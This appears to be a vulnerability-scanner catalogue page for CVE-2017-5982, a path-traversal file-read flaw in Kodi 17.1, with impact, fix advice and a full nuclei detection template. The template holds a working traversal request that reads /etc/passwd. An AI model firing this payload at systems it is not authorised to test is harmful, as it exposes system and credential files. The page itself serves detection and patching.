HexBrain

Browse / CVEs / CVE-2017-5982

CVE-2017-5982· kodi / kodi· CWE-22

Kodi 17.1 - Local File Inclusion

highseverity
7.5CVSS score
78%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Kodi 17.1 is vulnerable to local file inclusion vulnerabilities because of insufficient validation of user input.

Impact

Unauthenticated attackers can read arbitrary files on the system, potentially exposing sensitive information, credentials, and configuration files.

Fix

Upgrade Kodi to a version that is not affected by the CVE-2017-5982 vulnerability.

How to confirm it

Send: GET {{BaseURL}}/image/image%3A%2F%2F%2e%2e%252fetc%252fpasswd
Positive when: matches /root:[x*]:0:0/ AND status 200

Run it with nuclei: nuclei -id CVE-2017-5982 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2017-5982

info:
  name: Kodi 17.1 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: |
    Kodi 17.1 is vulnerable to local file inclusion vulnerabilities because of insufficient validation of user input.
  impact: |
    Unauthenticated attackers can read arbitrary files on the system, potentially exposing sensitive information, credentials, and configuration files.
  remediation: |
    Upgrade Kodi to a version that is not affected by the CVE-2017-5982 vulnerability.
  reference:
    - https://cxsecurity.com/issue/WLB-2017020164
    - https://www.exploit-db.com/exploits/41312/
    - https://nvd.nist.gov/vuln/detail/CVE-2017-5982
    - https://lists.debian.org/debian-lts-announce/2024/01/msg00009.html
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2017-5982
    cwe-id: CWE-22
    epss-score: 0.77977
    epss-percentile: 0.99575
    cpe: cpe:2.3:a:kodi:kodi:17.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: kodi
    product: kodi
  tags: cve2017,cve,kodi,lfi,edb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/image/image%3A%2F%2F%2e%2e%252fetc%252fpasswd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from